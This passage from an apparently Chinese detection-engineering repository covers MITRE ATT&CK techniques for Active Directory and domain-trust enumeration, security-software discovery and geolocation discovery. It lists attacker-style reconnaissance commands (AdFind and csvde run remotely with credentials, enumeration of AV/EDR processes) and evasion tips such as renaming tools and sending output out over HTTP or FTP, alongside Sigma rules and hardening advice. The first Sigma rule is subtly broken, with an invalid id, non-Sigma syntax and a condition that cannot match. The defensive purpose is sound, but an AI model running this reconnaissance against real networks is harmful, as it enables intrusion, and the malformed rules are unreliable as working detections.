:: 导出用户信息 Get-ADUser -Filter * | Select-Object Name,SamAccountName | Export-Csv user.csv :: 导出计算机信息 Get-ADComputer -Filter * | Select-Object Name | Export-Csv machine.csv :: 导出组信息 Get-ADGroup -Filter * | Select-Object Name | Export-Csv group.csv :: 导出管理员组信息 Get-ADGroupMember -Identity "Domain Admins" | Select-Object Name,SamAccountName | Export-Csv admin.csv :: 导出 OU 信息 Get-ADOrganizationalUnit -Filter * | Select-Object Name,DistinguishedName | Export-Csv ou.csv :: 导出域信任信息 Get-ADDomain | Select-Object Name,ParentDomain,ChildDomains,Forest | Export-Csv domain.csv ``` **输出示例**: ``` "Name","SamAccountName" "admin","admin" ``` **说明**: - 功能灵活,常用于 AD 信息收集。 - 关联 T1482:获取用户、组、信任等信息。 ### 测试案例 6:从域外远程导出活动目录信息 **关联技术**:T1482(远程 AD 枚举) **说明**: - 使用凭据远程查询 AD。 - 权限:域用户或管理员账户凭据。 **命令**: ```dos :: 使用 csvde csvde -s 192.168.1.1 -a "test\admin" "Password" -f all.csv :: 使用 ldifde ldifde -s 192.168.1.1 -a "test\admin" "Password" -f all.txt :: 使用 AdFind AdFind.exe -h 192.168.1.1 -u "test\admin" -up "Password" > all.txt ``` **输出示例**: - 同本地导出,生成 CSV、LDIF 或文本文件。 **说明**: - 需提供有效凭据。 - 关联 T1482:远程收集 AD 信息。 ## 测试复现 ### 复现环境 - 操作系统:Windows Server 2016 / Windows 10 - 权限:域用户权限(部分命令需域管理员权限) - 工具:CMD、PowerShell、AdFind - 环境:域环境(如 QAX.COM) ### 复现步骤 1. **使用 `csvde` 导出所有信息**: ```dos csvde -f C:\Temp\all.csv ``` **预期输出**: ``` 连接到“(null)” 用 SSPI 作为当前用户登录 将目录导出到文件 all.csv 搜索项目... 导出了 223 个项目 命令成功完成 ``` **验证**: - 检查 `C:\Temp\all.csv`,确认包含 AD 对象。 - 安全日志:事件 ID 4688(`csvde.exe`)。 - Sysmon:事件 ID 1(进程创建)、11(文件创建)、3(端口 389)。 2. **使用 `ldifde` 导出用户信息**: ```dos ldifde -f C:\Temp\user.txt -r "(&(objectCategory=person))" ``` **预期输出**: ``` 连接到“DC01.qax.com” 用 SSPI 作为当前用户登录 将目录导出到文件 user.txt 导出了 100 个项目 命令成功完成 ``` **验证**: - 检查 `C:\Temp\user.txt`,确认包含用户数据。 - 安全日志:事件 ID 4688(`ldifde.exe`)。 - Sysmon:事件 ID 1、11、3。 3. **使用 `AdFind` 导出组信息**: ```dos AdFind.exe -h 127.0.0.1 -f "objectcategory=group" > C:\Temp\group.txt ``` **预期输出**: ``` AdFind V01.52.00cpp Joe Richards (support@joeware.net) January 2020 ``` **验证**: - 检查 `C:\Temp\group.txt`,确认包含组数据。 - 安全日志:事件 ID 4688(`AdFind.exe`)。 - Sysmon:事件 ID 1、11、3。 4. **使用 `nltest` 枚举域信任**: ```dos nltest /domain_trusts > C:\Temp\trusts.txt ``` **预期输出**: ``` 域信任列表: 0: QAX qax.com (NT 5) (Forest Tree Root) (Primary Domain) (Native) 命令成功完成 ``` **验证**: - 检查 `C:\Temp\trusts.txt`,确认包含信任关系。 - 安全日志:事件 ID 4688(`nltest.exe`)。 - Sysmon:事件 ID 1、11。 5. **使用 PowerShell 导出用户信息**: ```powershell Get-ADUser -Filter * | Select-Object Name,SamAccountName | Export-Csv C:\Temp\user.csv ``` **预期输出**: - 生成 `C:\Temp\user.csv`,包含用户信息。 **验证**: - 检查 `C:\Temp\user.csv`,确认包含用户数据。 - PowerShell 日志:事件 ID 4104(`Get-ADUser`)。 - Sysmon:事件 ID 1(`powershell.exe`)、11、3。 6. **域外远程导出(`csvde` 示例)**: ```dos csvde -s 192.168.1.1 -a "test\admin" "Password" -f C:\Temp\all.csv ``` **预期输出**: ``` 连接到“192.168.1.1” 用提供的凭据登录 将目录导出到文件 all.csv 导出了 223 个项目 命令成功完成 ``` **验证**: - 检查 `C:\Temp\all.csv`,确认包含 AD 对象。 - 安全日志:事件 ID 4624(登录类型 3)、4688(`csvde.exe`)、5140(`IPC$`)。 - Sysmon:事件 ID 1、3、11。 ## 检测日志 - **安全日志**: - 事件 ID 4688:进程创建,记录 `csvde.exe`、`ldifde.exe`、`AdFind.exe`、`nltest.exe`、`powershell.exe` 的执行。 - 事件 ID 5140:网络共享访问,记录 `IPC$` 共享访问(域外查询)。 - 事件 ID 4624:账户登录,记录域外查询的认证行为(登录类型 3)。 - 事件 ID 5156:Windows 筛选平台允许连接,记录 LDAP(端口 389)或 SMB(端口 445)连接。 - 事件 ID 5158:Windows 筛选平台允许绑定本地端口,记录 LDAP/SMB 相关端口。 - **Sysmon 日志**: - 事件 ID 1:进程创建,记录命令行参数(如 `csvde -f`、`Get-ADUser`)。 - 事件 ID 3:网络连接,记录 LDAP(端口 389)或 SMB(端口 445)连接。 - 事件 ID 11:文件创建,记录输出文件(如 `all.csv`、`user.txt`)。 - **PowerShell 日志**: - 事件 ID 4103/4104:记录 PowerShell 脚本执行,如 `Get-ADUser`、`Get-ADDomain`。 - **要求**: - 启用 `Audit Process Creation`(安全日志,事件 ID 4688)。 - 启用 `Audit Logon` 和 `Audit File Share`(安全日志,事件 ID 4624、5140)。 - 启用 `Audit Network Connections`(安全日志,事件 ID 5156、5158)。 - 部署 Sysmon,配置记录进程创建(事件 ID 1)、网络连接(事件 ID 3)、文件创建(事件 ID 11)。 - 启用 PowerShell `Script Block Logging` 和 `Module Logging`。 - **注意**: - Windows Server 2016 需启用命令行审计以记录进程命令行参数。 - 域控制器日志(如 4624、5140)需启用相关审计策略。 ## 测试留痕 1. **进程相关**: - **进程创建**:`csvde.exe`、`ldifde.exe`、`AdFind.exe`、`nltest.exe`、`powershell.exe`。 - **父进程**:如 `cmd.exe` 或 `powershell.exe`。 - **命令行参数**:如 `csvde -f`、`AdFind.exe -h`、`Get-ADUser`。 2. **文件相关**: - **输出文件**:如 `all.csv`、`user.txt`、`group.txt`、`trusts.txt`。 3. **网络相关**: - **LDAP 连接**:目标端口 389,协议 TCP。 - **SMB 连接**:目标端口 445,协议 TCP(域外查询)。 - **源/目标 IP**:查询主机和域控制器的 IP 地址。 4. **域相关**: - **登录事件**:事件 ID 4624(登录类型 3,域外查询)。 - **共享访问**:事件 ID 5140(`IPC$` 访问,域外查询)。 5. **隐藏的手段**: - 重命名工具(如 `AdFind.exe` 改为 `svc.exe`)。 - 使用编码后的 PowerShell 脚本(如 `Invoke-Obfuscation`)。 - 删除输出文件(如 `del all.csv`)。 - 通过网络传输输出文件(如 FTP、HTTP)以减少本地痕迹。 ## 检测规则/方法 ### Sigma 规则 ```yaml title: Windows 活动目录信息获取 id: 9m1g4i7s-8u3w-1x4a-p7b9-3t6v1w4y8d6b description: 检测通过 csvde、ldifde、AdFind、nltest 或 PowerShell 获取活动目录信息的行为 references: - https://attack.mitre.org/techniques/T1482/ - https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1482/T1482.md tags: - attack.discovery - attack.t1482 status: experimental author: 0x783kb logsource: product: windows category: detection detection: - selection_cmd: EventID: 4688 # 进程创建 NewProcessName: - ends with: '\csvde.exe' - ends with: '\ldifde.exe' - ends with: '\nltest.exe' - ends with: '\AdFind.exe' ProcessCommandLine: - contains: '-f' - contains: '/domain_tr' - contains: '-h' - selection_powershell: EventID: 4104 # PowerShell 脚本块日志记录 ScriptBlockEnabled: - contains: - 'Get-Local' - contains: 'Get-ADDefaultDomain' - selection_file: - EventID: 11 # Sysmon 文件创建 - TargetFilename: - ends with: - '.csv' - '.txt' - '.test' - contains: - 'all' - 'user' - 'machine' - 'group' - 'admin' - 'ou' - 'trust' - selection_system: - EventID: 1 - Image: - ends with: - '\csvde.exe' - '\ldifde.exe' - '\nltest.exe' - '\AdFind.exe' - '\powershell.exe' - CommandLine: - contains: '-f' - contains: '/domain_tr' - contains: '-h' - contains: 'Get-AD' - selection_network: - EventID: 5156 # 网络连接 - DestinationPort: - 389 # LDAP - 445 # SMB - Protocol: 6 # TCP - selection_domain: - EventID: - 4624 # 账户分配 - 5140 # 网络共享权限 - LogonType: 3 - ShareName: contains: '\*\IPC$' condition: all timeframe: 5m fields: - NewProcessName - ProcessCommandLine - ScriptBlockText - TargetFilename - DestinationPort - ShareName level: medium falsepositives: - 管理员运行 AD 管理工具(如 csvde、AdFind) - 合法 IT系统 触发类似行为 ``` ### 检测方法 1. **进程监控**: - 监控 `csvde.exe`、`ldifde.exe`、`AdFind.exe`、`nltest.exe`、`powershell.exe` 的进程创建(事件 ID 4688、1)。 - 检查命令行参数,如 `-f`、`/domain_trusts`、`Get-ADUser`。 2. **PowerShell 监控**: - 启用 PowerShell 脚本块日志,检测 `Get-ADUser`、`Get-ADDomain` 等命令。 3. **文件监控**: - 检测 CSV、TXT 或 LDIF 文件创建(事件 ID 11),文件名包含 `all`、`user`、`group` 等。 4. **网络监控**: - 监控 LDAP(端口 389)和 SMB(端口 445)连接(事件 ID 5156)。 5. **域控制器监控**: - 检测域外登录(事件 ID 4624,登录类型 3)和 `IPC$` 访问(事件 ID 5140)。 6. **行为分析**: - 检测高频 AD 查询(5 分钟内多次触发)。 - 结合上下文,如异常用户、非常规时间段或未知父进程。 ## 建议 1. **防御措施**: - 限制工具执行**:限制普通用户对 `csvde.exe`、`ldifde.exe`、`nltest.exe` 的执行权限。 - **限制 PowerShell**:通过组策略限制 PowerShell 脚本执行(如 `Get-ADUser`)。 - **部署 EDR**:使用 EDR 工具监控异常 AD 查询行为。 - **访问控制**:配置域控制器,限制非授权用户查询 AD 数据。 - **网络限制**:禁用不必要的 LDAP 和 SMB 端口(389、445)对外开放。 2. **检测优化**: - 监控短时间内的高频 AD 查询(5 分钟内多次触发)。 - 结合上下文分析,例如异常用户、非常规时间段或未知父进程。 - 检测输出文件的创建(例如 `all.csv`、`user.txt`)。 - 监控 LDAP(端口 389)和 SMB(端口的 445)流量。 - 检测域外登录(事件 ID 4624,登录类型 3)以及 `IPC` 访问(事件 ID 5140)。 3. **降低误报**: - 排除管理员用于 AD 管理的合法操作(如 `csvde`、`AdFind`)。 - 配置白名单,过滤已知 IT 管理工具。 - 验证文件内容,确保与 AD 信息获取相关。 4. **其他工具**: - 攻击者可能使用第三方工具(如 `BloodHound`、`SharpHound`),建议监控未知可执行文件的运行。 - 检测异常 LDAP 查询或域控制器上的高频访问。 - 使用 SIEM 关联进程、文件和网络日志以增强检测能力。 ## 参考推荐 - MITRE ATT&CK: T1482 - Atomic Red Team - T1482 - 渗透基础——活动目录信息的获取2:Bypass AV ================================================ FILE: Windows/09发现/T1518-win-发现安全软件.md ================================================ # T1518-Win-发现安全软件 ## 描述 攻击者通过安全软件发现(T1518)收集 Windows 系统中安装的安全相关软件及其版本信息,例如杀毒软件、端点检测与响应(EDR)、防火墙或安全监控工具,以规避防御机制、识别可利用漏洞或调整攻击手法。在 Windows 环境中,攻击者可能查询注册表(如 Internet Explorer 版本)、枚举已安装程序(通过 PowerShell 或 WMI)、检查运行服务(如 `sc query`)或检测安全进程(如 `MsMpEng.exe`)。这些信息可用于后续攻击,如命令执行(T1059)、特权提升(T1068)或防御规避(T1562)。本文档聚焦于 Windows 平台的安全软件发现检测与防御。 ## 测试案例 ### 环境 - **操作系统**:Windows Server 2016 / Windows 10 - **权限**:普通用户权限(部分命令需管理员权限) - **工具**:CMD、PowerShell、WMI - **环境**:独立主机或域环境 ### 测试案例 1:查询 Internet Explorer 浏览器版本 **关联技术**:T1518(软件版本发现) **说明**: - 查询注册表以确定 Internet Explorer 版本。 - **权限**:普通用户。 **命令**: ```dos reg query "HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer" /v svcVersion ``` **输出示例**: ``` HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer svcVersion REG_SZ 11.973.17763.0 ``` **说明**: - 攻击者可能查询浏览器版本以识别潜在漏洞。 - 关联 T1518:收集软件版本信息。 ### 测试案例 2:查询已安装程序 **关联技术**:T1518(软件发现) **说明**: - 查询注册表以枚举已安装软件及其版本。 - **权限**:普通用户。 **命令**: ```powershell Get-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName, DisplayVersion, Publisher, InstallDate | Format-Table -Autosize Get-ItemProperty HKLM:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName, DisplayVersion, Publisher, InstallDate | Format-Table -Autosize ``` **输出示例**: ``` DisplayName DisplayVersion Publisher InstallDate ----------- -------------- --------- ----------- Parallels Tools 17.1.1.51537 Parallels International GmbH 20220107 UniversalForwarder 8.2.2.0 Splunk, Inc. 20220107 ``` **说明**: - 枚举所有已安装程序,可能包括安全软件。 - 关联 T1518:识别安全相关软件。 ### 测试案例 3:使用 WMI 查询杀毒软件 **关联技术**:T1518(安全软件发现) **说明**: - 使用 WMI 查询安装的杀毒软件。 - **权限**:普通用户(部分 WMI 类需管理员权限)。 **命令**: ```powershell Get-CimInstance -Namespace root\SecurityCenter2 -ClassName AntiVirusProduct | Select-Object displayName, productState, pathToSignedProductExe ``` **输出示例**: ``` displayName productState pathToSignedProductExe ----------- ------------ --------------------- Windows Defender 397568 C:\Program Files\Windows Defender\MsMpEng.exe ``` **说明**: - 检测 Windows Defender 或其他杀毒软件。 - 关联 T1518:明确安全软件存在。 ### 测试案例 4:查询运行的安全服务 **关联技术**:T1518(安全软件发现) **说明**: - 枚举运行的服务,识别安全相关服务。 - **权限**:普通用户。 **命令**: ```dos net start | findstr /i "defender antivirus security" sc query WinDefend ``` **输出示例**: ``` net start: Windows Defender Antivirus Service sc query WinDefend: SERVICE_NAME: WinDefend TYPE : 10 WIN32_OWN_PROCESS STATE : 4 RUNNING WIN32_EXIT_CODE : 0 (0x0) ``` **说明**: - 检测 Windows Defender 或其他安全服务。 - 关联 T1518:识别安全软件服务。 ### 测试案例 5:枚举安全相关进程 **关联技术**:T1518(安全软件发现) **说明**: - 枚举运行进程,查找安全软件进程。 - **权限**:普通用户。 **命令**: ```powershell Get-Process | Where-Object { $_.Name -match "MsMpEng|Defender|CrowdStrike|McAfee" } | Select-Object Name, Path ``` **输出示例**: ``` Name Path ---- ---- MsMpEng C:\Program Files\Windows Defender\MsMpEng.exe ``` **说明**: - 检测 Windows Defender 或其他安全软件进程。 - 关联 T1518:确认安全软件运行状态。 ## 测试复现 ### 复现环境 - **操作系统**:Windows Server 2016 / Windows 10 - **权限**:普通用户权限(部分命令需管理员权限) - **工具**:CMD、PowerShell - **环境**:独立主机或域环境 ### 复现步骤 1. **查询 Internet Explorer 版本**: ```dos reg query "HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer" /v svcVersion > C:\Temp\ie_version.txt ``` **预期输出**: ``` HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer svcVersion REG_SZ 11.973.17763.0 ``` **验证**: - 检查 `C:\Temp\ie_version.txt`,确认包含版本信息。 - 安全日志:事件 ID 4688(`reg.exe`)。 - Sysmon:事件 ID 1(进程创建)、11(文件创建)、13(注册表查询)。 2. **查询已安装程序**: ```powershell Get-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName, DisplayVersion, Publisher, InstallDate | Export-Csv C:\Temp\software.csv ``` **预期输出**: - 生成 `C:\Temp\software.csv`,包含软件列表。 **验证**: - 检查 `C:\Temp\software.csv`,确认包含软件信息。 - PowerShell 日志:事件 ID 4104(`Get-ItemProperty`)。 - Sysmon:事件 ID 1(`powershell.exe`)、11(文件创建)。 3. **使用 WMI 查询杀毒软件**: ```powershell Get-CimInstance -Namespace root\SecurityCenter2 -ClassName AntiVirusProduct | Select-Object displayName, productState | Out-File C:\Temp\antivirus.txt ``` **预期输出**: ``` displayName : Windows Defender productState : 397568 ``` **验证**: - 检查 `C:\Temp\antivirus.txt`,确认包含杀毒软件信息。 - PowerShell 日志:事件 ID 4104(`Get-CimInstance`)。 - Sysmon:事件 ID 1、11。 4. **查询安全服务**: ```dos net start | findstr /i "defender" > C:\Temp\services.txt ``` **预期输出**: ``` Windows Defender Antivirus Service ``` **验证**: - 检查 `C:\Temp\services.txt`,确认包含服务信息。 - 安全日志:事件 ID 4688(`net.exe`)。 - Sysmon:事件 ID 1、11。 5. **枚举安全进程**: ```powershell Get-Process | Where-Object { $_.Name -match "MsMpEng" } | Select-Object Name, Path | Out-File C:\Temp\processes.txt ``` **预期输出**: ``` Name Path ---- ---- MsMpEng C:\Program Files\Windows Defender\MsMpEng.exe ``` **验证**: - 检查 `C:\Temp\processes.txt`,确认包含进程信息。 - PowerShell 日志:事件 ID 4104(`Get-Process`)。 - Sysmon:事件 ID 1、11。 ## 检测日志 - **安全日志**: - 事件 ID 4688:进程创建,记录 `reg.exe`、`powershell.exe`、`net.exe`、`sc.exe` 的执行。 - 事件 ID 4663:注册表访问,记录对 `HKLM\Software\Microsoft\Internet Explorer` 或 `HKLM\Software\Uninstall` 的查询(需启用 `Audit Registry`)。 - **Sysmon 日志**: - 事件 ID 1:进程创建,记录命令行参数(如 `reg query`、`Get-CimInstance`)。 - 事件 ID 11:文件创建,记录输出文件(如 `software.csv`、`antivirus.txt`)。 - 事件 ID 13:注册表修改/查询,记录对 `Internet Explorer` 或 `Uninstall` 键的访问。 - **PowerShell 日志**: - 事件 ID 4103/4104:记录 PowerShell 脚本执行,如 `Get-ItemProperty`、`Get-CimInstance`、`Get-Process`。 - **要求**: - 启用 `Audit Process Creation`(安全日志,事件 ID 4688)。 - 启用 `Audit Registry`(安全日志,事件 ID 4663)。 - 部署 Sysmon,配置进程创建(事件 ID 1)、文件创建(事件 ID 11)、注册表事件(事件 ID 13)。 - 启用 PowerShell `Script Block Logging` 和 `Module Logging`。 - **注意**: - Windows Server 2016 需启用命令行审计以记录进程命令行参数。 - 日志输出可能因系统配置而异。 ## 测试留痕 1. **进程相关**: - **进程创建**:`reg.exe`、`powershell.exe`、`net.exe`、`sc.exe`。 - **父进程**:如 `cmd.exe` 或 `powershell.exe`。 - **命令行参数**:如 `reg query`、`Get-CimInstance`、`net start`、`Get-Process`。 2. **文件相关**: - **输出文件**:如 `C:\Temp\ie_version.txt`、`software.csv`、`antivirus.txt`、`services.txt`、`processes.txt`。 3. **注册表相关**: - **访问路径**:`HKLM\Software\Microsoft\Internet Explorer`、`HKLM\Software\Uninstall`。 - **事件**:4663(安全日志)、13(Sysmon)。 4. **隐藏手段**: - 重命名工具(如 `reg.exe` 改为 `svc.exe`)。 - 使用编码后的 PowerShell 脚本(如 `Invoke-Obfuscation`)。 - 删除输出文件(如 `del software.csv`)。 - 通过网络传输输出文件(如 FTP、HTTP)。 ## 检测规则/方法 ### Sigma 规则 ```yaml title: Windows 安全软件发现 id: b9e8c7d6-0f3a-4b2c-a8d4-1c6f9b0e2d3g description: 检测通过 reg.exe、PowerShell、net.exe 或 sc.exe 枚举安全软件的行为 references: - https://attack.mitre.org/techniques/T1518/ - https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1518/T1518.md tags: - attack.discovery - attack.t1518 status: experimental author: 0x783kb logsource: product: windows category: process_creation detection: selection_cmd: EventID: 4688 NewProcessName|endswith: - '\reg.exe' - '\net.exe' - '\sc.exe' ProcessCommandLine|contains: - 'query' - 'start' - 'WinDefend' - 'Internet Explorer' selection_powershell: EventID: 4104 ScriptBlockText|contains: - 'Get-ItemProperty' - 'Get-CimInstance' - 'Get-Process' - 'AntiVirusProduct' - 'MsMpEng' selection_sysmon: EventID: 1 Image|endswith: - '\reg.exe' - '\powershell.exe' - '\net.exe' - '\sc.exe' CommandLine|contains: - 'query' - 'Get-ItemProperty' - 'Get-CimInstance' - 'Get-Process' - 'start' - 'WinDefend' selection_file: EventID: 11 TargetFilename|endswith: - '.txt' - '.csv' TargetFilename|contains: - 'software' - 'antivirus' - 'services' - 'processes' selection_registry: EventID: 13 TargetObject|contains: - '\Software\Microsoft\Internet Explorer' - '\Software\Microsoft\Windows\CurrentVersion\Uninstall' condition: selection_cmd or selection_powershell or selection_sysmon or selection_file or selection_registry timeframe: 5m fields: - NewProcessName - ProcessCommandLine - ScriptBlockText - TargetFilename - TargetObject level: medium falsepositives: - 管理员运行软件或服务检查(如 reg query、Get-CimInstance)。 - 合法 IT 管理工具触发类似行为。 ``` ### 检测方法 1. **进程监控**: - 监控 `reg.exe`、`powershell.exe`、`net.exe`、`sc.exe` 的进程创建(事件 ID 4688、1)。 - 检查命令行参数,如 `query`、`Get-CimInstance`、`start`。 2. **PowerShell 监控**: - 启用 PowerShell 脚本块日志,检测 `Get-ItemProperty`、`Get-CimInstance`、`Get-Process`。 3. **文件监控**: - 检测 CSV 或 TXT 文件创建(事件 ID 11),文件名包含 `software`、`antivirus`、`services`。 4. **注册表监控**: - 监控对 `HKLM\Software\Uninstall` 和 `HKLM\Software\Internet Explorer` 的访问(事件 ID 4663、13)。 5. **行为分析**: - 检测短时间内高频注册表查询或服务枚举(5 分钟内多次触发)。 - 结合上下文分析,如异常用户、非常规时间段或未知父进程。 ## 建议 1. **防御措施**: - 限制普通用户对 `reg.exe` 和 `sc.exe` 的执行权限。 - 启用组策略,限制 PowerShell 脚本执行(如 `Get-CimInstance`)。 - 部署 EDR 工具,检测异常软件枚举行为。 - 配置注册表审计,监控对 `Uninstall` 或 `Internet Explorer` 键的访问。 - 定期更新安全软件,修复已知漏洞。 2. **检测优化**: - 监控短时间内高频注册表或服务查询(5 分钟内多次触发)。 - 结合上下文分析,如异常用户、非常规时间段或未知父进程。 - 检测输出文件创建(如 `software.csv`、`antivirus.txt`)。 - 监控 PowerShell 执行与安全相关的命令(如 `Get-CimInstance AntiVirusProduct`)。 3. **降低误报**: - 排除管理员用于系统维护的合法查询(如 `reg query`、`net start`)。 - 配置白名单,过滤已知 IT 管理工具。 - 验证文件内容,确保与安全软件发现相关。 4. **其他工具**: - 攻击者可能使用第三方工具(如 `Sysinternals`、`Procmon`)或 WMI 调用,建议监控未知可执行文件的运行。 - 检测异常进程(如非微软签名的 `powershell.exe`)。 - 使用 SIEM 关联进程、文件和注册表日志。 ## 参考推荐 - MITRE ATT&CK: T1518 - Atomic Red Team - T1518 测试用例 - 注册表审计配置 ================================================ FILE: Windows/09发现/T1614.002-Win-地理位置发现.md ================================================ # T1614.002-win-地理位置发现 ## 描述 攻击者通过地理位置发现(T1614.002)收集 Windows 系统的地理或网络位置信息,例如时区、IP 地址归属地或系统语言设置,以获取目标环境的情报,为后续攻击(如定向钓鱼 T1566、鱼叉式钓鱼 T1598 或物理渗透)提供支持。在 Windows 环境中,攻击者可能使用 `tzutil` 或 `w32tm` 查询时区,通过 PowerShell(如 `Get-TimeZone`)获取时区信息,通过公开 API(如 MaxMind GeoIP)解析 IP 归属地,或通过 `Get-WinSystemLocale` 检测语言设置。这些信息可帮助攻击者定制攻击策略或识别目标位置。本文档聚焦于 Windows 平台的地理位置发现检测与防御。 ## 测试案例 ### 环境 - **操作系统**:Windows Server 2016 / Windows 10 - **权限**:普通用户权限 - **工具**:CMD、PowerShell - **环境**:独立主机或域环境,需联网(IP 归属地查询) ### 测试案例 1:查询系统时区 **关联技术**:T1614.002(地理位置发现) **说明**: - 使用内置工具查询系统时区。 - **权限**:普通用户。 **命令**: ```dos :: 使用 tzutil 查询时区 tzutil /g :: 使用 w32tm 查询时区 w32tm /tz :: 使用 reg query 查询注册表时区 reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\TimeZoneInformation" /v StandardName :: 使用 PowerShell 查询时区 Get-TimeZone ``` **输出示例**: ``` tzutil /g: North Asia East Standard Time w32tm /tz: 时区: 当前:TIME_ZONE_ID_UNKNOWN 偏量: -480分 (UTC=本地时间+Bias) [标准名称:"俄罗斯 TZ 7 标准时间" 偏量:0分 日期:(未指定)] [夏时制名称:"俄罗斯 TZ 7 夏令时" 偏量:-60分 日期:(未指定)] reg query: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\TimeZoneInformation StandardName REG_SZ @tzres.dll,-1872 Get-TimeZone: Id : North Asia East Standard Time DisplayName : (UTC+08:00) Irkutsk StandardName : Russia TZ 7 Standard Time DaylightName : Russia TZ 7 Daylight Time BaseUtcOffset : 08:00:00 SupportsDaylightSavingTime : True ``` **说明**: - 获取系统时区,推测地理位置。 - 关联 T1614.002:收集时区信息。 ### 测试案例 2:查询 IP 地址归属地 **关联技术**:T1614.002(地理位置发现) **说明**: - 通过公开 GeoIP API 查询公网 IP 归属地。 - **权限**:普通用户,需联网。 **命令**: ```powershell Invoke-WebRequest -Uri "http://ip-api.com/json" | ConvertFrom-Json | Select-Object country, regionName, city, lat, lon ``` **输出示例**: ``` country : China regionName : Beijing city : Beijing lat : 39.9042 lon : 116.4074 ``` **说明**: - 获取 IP 对应的地理位置。 - 关联 T1614.002:确定目标网络位置。 ### 测试案例 3:查询系统语言设置 **关联技术**:T1614.002(地理位置发现) **说明**: - 查询系统语言设置,推测用户区域。 - **权限**:普通用户。 **命令**: ```dos :: 使用 systeminfo 查询语言 systeminfo | findstr /C:"System Locale" :: 使用 PowerShell 查询语言 Get-WinSystemLocale | Select-Object Name, DisplayName ``` **输出示例**: ``` systeminfo: System Locale: zh-cn;Chinese (Simplified, China) Get-WinSystemLocale: Name DisplayName ---- ----------- zh-CN Chinese (Simplified, China) ``` **说明**: - 系统语言设置可推测用户地理区域。 - 关联 T1614.002:收集语言信息。 ## 测试复现 ### 复现环境 - **操作系统**:Windows Server 2016 / Windows 10 - **权限**:普通用户权限 - **工具**:CMD、PowerShell - **环境**:独立主机或域环境,需联网(IP 归属地查询) ### 复现步骤 1. **查询系统时区**: ```dos tzutil /g > C:\Temp\timezone.txt w32tm /tz >> C:\Temp\timezone.txt reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\TimeZoneInformation" /v StandardName >> C:\Temp\timezone.txt powershell -Command "Get-TimeZone | Select-Object Id, DisplayName | Out-File -Append C:\Temp\timezone.txt" ``` **预期输出**(`C:\Temp\timezone.txt`): ``` North Asia East Standard Time 时区: 当前:TIME_ZONE_ID_UNKNOWN 偏量: -480分 (UTC=本地时间+Bias) [标准名称:"俄罗斯 TZ 7 标准时间" 偏量:0分 日期:(未指定)] [夏时制名称:"俄罗斯 TZ 7 夏令时" 偏量:-60分 日期:(未指定)] HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\TimeZoneInformation StandardName REG_SZ @tzres.dll,-1872 Id : North Asia East Standard Time DisplayName : (UTC+08:00) Irkutsk ``` **验证**: - 检查 `C:\Temp\timezone.txt`,确认包含时区信息。 - 安全日志:事件 ID 4688(`tzutil.exe`、`w32tm.exe`、`reg.exe`、`powershell.exe`)。 - Sysmon:事件 ID 1(进程创建)、11(文件创建)、13(注册表查询)。 - PowerShell 日志:事件 ID 4104(`Get-TimeZone`)。 2. **查询 IP 地址归属地**: ```powershell Invoke-WebRequest -Uri "http://ip-api.com/json" | ConvertFrom-Json | Select-Object country, regionName, city, lat, lon | Out-File C:\Temp\geoip.txt ``` **预期输出**(`C:\Temp\geoip.txt`): ``` country : China regionName : Beijing city : Beijing lat : 39.9042 lon : 116.4074 ``` **验证**: - 检查 `C:\Temp\geoip.txt`,确认包含地理位置信息。 - 安全日志:事件 ID 4688(`powershell.exe`)、5156(端口 80)。 - Sysmon:事件 ID 1、3(网络连接)、11。 - PowerShell 日志:事件 ID 4104(`Invoke-WebRequest`)。 3. **查询系统语言设置**: ```dos systeminfo | findstr /C:"System Locale" > C:\Temp\locale.txt powershell -Command "Get-WinSystemLocale | Select-Object Name, DisplayName | Out-File -Append C:\Temp\locale.txt" ``` **预期输出**(`C:\Temp\locale.txt`): ``` System Locale: zh-cn;Chinese (Simplified, China) Name DisplayName ---- ----------- zh-CN Chinese (Simplified, China) ``` **验证**: - 检查 `C:\Temp\locale.txt`,确认包含语言信息。 - 安全日志:事件 ID 4688(`systeminfo.exe`、`powershell.exe`)。 - Sysmon:事件 ID 1、11。 - PowerShell 日志:事件 ID 4104(`Get-WinSystemLocale`)。 ## 检测日志 - **安全日志**: - 事件 ID 4688:进程创建,记录 `tzutil.exe`、`w32tm.exe`、`reg.exe`、`powershell.exe`、`systeminfo.exe` 的执行。 - 事件 ID 4663:注册表访问,记录对 `HKLM\SYSTEM\CurrentControlSet\Control\TimeZoneInformation` 的查询(需启用 `Audit Registry`)。 - 事件 ID 5156:Windows 筛选平台允许连接,记录 HTTP 连接(端口 80,IP 归属地查询)。 - **Sysmon 日志**: - 事件 ID 1:进程创建,记录命令行参数(如 `tzutil /g`、`Invoke-WebRequest`)。 - 事件 ID 3:网络连接,记录 GeoIP API 的 HTTP 请求(端口 80)。 - 事件 ID 11:文件创建,记录输出文件(如 `timezone.txt`)。 - 事件 ID 13:注册表修改/查询,记录对 `TimeZoneInformation` 键的访问。 - **PowerShell 日志**: - 事件 ID 4103/4104:记录 PowerShell 脚本执行,如 `Get-TimeZone`、`Invoke-WebRequest`、`Get-WinSystemLocale`。 - **要求**: - 启用 `Audit Process Creation`(安全日志,事件 ID 4688)。 - 启用 `Audit Registry`(安全日志,事件 ID 4663)。 - 启用 `Audit Network Connections`(安全日志,事件 ID 5156)。 - 部署 Sysmon,配置进程创建(事件 ID 1)、网络连接(事件 ID 3)、文件创建(事件 ID 11)、注册表事件(事件 ID 13)。 - 启用 PowerShell `Script Block Logging` 和 `Module Logging`。 - **注意**: - Windows Server 2016 需启用命令行审计以记录进程命令行参数。 - 日志输出可能因系统配置而异。 ## 测试留痕 1. **进程相关**: - **进程创建**:`tzutil.exe`、`w32tm.exe`、`reg.exe`、`powershell.exe`、`systeminfo.exe`。 - **父进程**:如 `cmd.exe` 或 `powershell.exe`。 - **命令行参数**:如 